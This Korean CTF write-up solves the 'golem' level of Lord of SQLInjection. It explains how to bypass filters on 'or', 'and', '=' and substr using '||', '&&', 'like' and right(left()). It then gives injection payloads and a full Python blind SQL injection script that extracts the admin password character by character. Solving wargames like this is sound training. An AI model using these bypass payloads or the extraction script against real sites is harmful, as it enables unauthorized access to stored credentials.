Lord of SQLInjection (golem)
✏️ 풀이
preg_match 함수에서 어떤 문자가 필터링되고 있는지 보면 prob _ . () or and substr( =
인 것을 알 수 있다. 또한 아래에 코드를 보면 blind sqli로 풀어야 한다는 것도 알 수 있다.
먼저 substr 함수를 우회하기 전에 guest로 Hello 쿼리가 나오는지 봐야 한다. 아래 페이로드를 통해 1=1 대신 1이라는 true 값과 or 대신 | 문자를 사용해서 우회할 수 있다. |
' || 1-- -
아래 페이로드를 통해 blind sqli 쿼리를 한 번 만들어볼 수 있다. =
문자는 like
로 대신하고, substr
은 right
와 left
함수를 같이 사용하면서 substr
함수와 동일하게 작동할 수 있다. 또한 and
or
연산자 우선 순위와 &&
||
문자로 대신해서 아래처럼 적용할 수 있다. 주의할 점은 url에 넣을 때 &
문자는 %26
으로 인코딩해서 넣어주어야 정상 작동한다.
1' || id like 'admin' && right(left(pw, 1), 1) like 'a'-- -
테스트 해보면 Hello admin이 잘 나오는 것을 볼 수 있다. 이제 pw 값을 blind sqli로 파이썬 코드를 짜야 한다.
코드는 이렇게 작성했다. string 모듈을 이용해서 패스워드에 들어갈 문자를 password_charset에 넣고 substr 로 blind sqli할 때와 동일하게 작성하면 된다.
import requests
import string
# 영어 대소문자 + 숫자 + 특수문자
password_charset = string.ascii_letters + string.digits + string.punctuation
print(f"테스트할 문자: {password_charset}")
password = ""
url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php"
cookie = {"PHPSESSID": "3gkm2054bi501f689hd20e39cp"}
for i in range(1, 100):
found = False
for j in range(0, len(password_charset)):
param = {
"pw": f"1' || id like 'admin' && right(left(pw, {i}), 1) like '{password_charset[j]}'-- -"
}
r = requests.get(url=url, cookies=cookie, params=param)
if "Hello admin" in r.text:
found = True
password += password_charset[j]
print(f"[+] password {i}번째 자리는 {password_charset[j]}입니다.")
break
if not found:
print("[-] End")
break
print(password)
댓글남기기